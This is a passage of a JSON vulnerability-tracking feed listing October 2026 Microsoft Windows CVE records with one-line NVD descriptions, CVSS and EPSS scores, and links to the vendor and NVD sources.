exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69934","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69931","cveId":"CVE-2026-69931","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:03.730Z","updatedAt":"2026-10-16T18:19:50.987Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69931","asOf":"2026-10-16T18:19:50.987Z"},"epss":{"probability":0.0023,"percentile":0.1367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69931","type":"primary","publishedAt":"2026-10-13T19:19:03.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69931","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69926","cveId":"CVE-2026-69926","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:03.580Z","updatedAt":"2026-10-16T18:18:55.280Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","Microsoft Office","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69926","asOf":"2026-10-16T18:18:55.280Z"},"epss":{"probability":0.0041,"percentile":0.34923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69926&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69926","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69926","type":"primary","publishedAt":"2026-10-13T19:19:03.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69926","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69926&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69926, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69923","cveId":"CVE-2026-69923","aliases":[],"kind":"vulnerability","title":"Uncontrolled search path element in Windows AI allows an authorized attacker to elevate privileges locally.","summary":"Uncontrolled search path element in Windows AI allows an authorized attacker to elevate privileges locally.","detail":"Uncontrolled search path element in Windows AI allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:03.463Z","updatedAt":"2026-10-16T17:42:41.473Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69923","asOf":"2026-10-16T17:42:41.473Z"},"epss":{"probability":0.00584,"percentile":0.47643,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69923&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69923","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69923","type":"primary","publishedAt":"2026-10-13T19:19:03.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69923","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69923&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69923, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69918","cveId":"CVE-2026-69918","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:03.057Z","updatedAt":"2026-10-16T18:13:39.150Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69918","asOf":"2026-10-16T18:13:39.150Z"},"epss":{"probability":0.00407,"percentile":0.34672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69918&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69918","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69918","type":"primary","publishedAt":"2026-10-13T19:19:03.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69918","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69918&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69918, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69916","cveId":"CVE-2026-69916","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:02.873Z","updatedAt":"2026-10-16T18:12:23.370Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69916","asOf":"2026-10-16T18:12:23.370Z"},"epss":{"probability":0.00379,"percentile":0.31575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69916&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69916","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69916","type":"primary","publishedAt":"2026-10-13T19:19:02.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69916","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69916&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69916, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69915","cveId":"CVE-2026-69915","aliases":[],"kind":"vulnerability","title":"Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:02.713Z","updatedAt":"2026-10-16T18:11:54.700Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69915","asOf":"2026-10-16T18:11:54.700Z"},"epss":{"probability":0.003,"percentile":0.22444,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69915","type":"primary","publishedAt":"2026-10-13T19:19:02.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69915","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69913","cveId":"CVE-2026-69913","aliases":[],"kind":"vulnerability","title":"Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:02.343Z","updatedAt":"2026-10-16T18:10:00.323Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69913","asOf":"2026-10-16T18:10:00.323Z"},"epss":{"probability":0.00677,"percentile":0.51979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69913&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69913","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69913","type":"primary","publishedAt":"2026-10-13T19:19:02.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69913","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69913&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69913, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69909","cveId":"CVE-2026-69909","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:02.160Z","updatedAt":"2026-10-16T18:06:26.203Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69909","asOf":"2026-10-16T18:06:26.203Z"},"epss":{"probability":0.0034,"percentile":0.27133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69909","type":"primary","publishedAt":"2026-10-13T19:19:02.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69909","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69909, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69898","cveId":"CVE-2026-69898","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:01.683Z","updatedAt":"2026-10-16T18:00:56.730Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69898","asOf":"2026-10-16T18:00:56.730Z"},"epss":{"probability":0.00379,"percentile":0.31578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69898&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69898","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69898","type":"primary","publishedAt":"2026-10-13T19:19:01.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69898","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69898&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69898, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69882","cveId":"CVE-2026-69882","aliases":[],"kind":"vulnerability","title":"Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.","summary":"Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.","detail":"Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:01.027Z","updatedAt":"2026-10-19T13:19:32.040Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69882","asOf":"2026-10-19T13:19:32.040Z"},"epss":{"probability":0.00584,"percentile":0.47643,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69882","type":"primary","publishedAt":"2026-10-13T19:19:01.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69882","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69880","cveId":"CVE-2026-69880","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Desktop Window Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:00.873Z","updatedAt":"2026-10-19T13:20:43.730Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","Microsoft Office","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69880","asOf":"2026-10-19T13:20:43.730Z"},"epss":{"probability":0.0041,"percentile":0.34922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69880&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69880","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69880","type":"primary","publishedAt":"2026-10-13T19:19:00.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69880","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69880&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69880, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69733","cveId":"CVE-2026-69733","aliases":[],"kind":"vulnerability","title":"Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.","summary":"Untrusted search path in Windows Update allows an authorized attacker to elevate 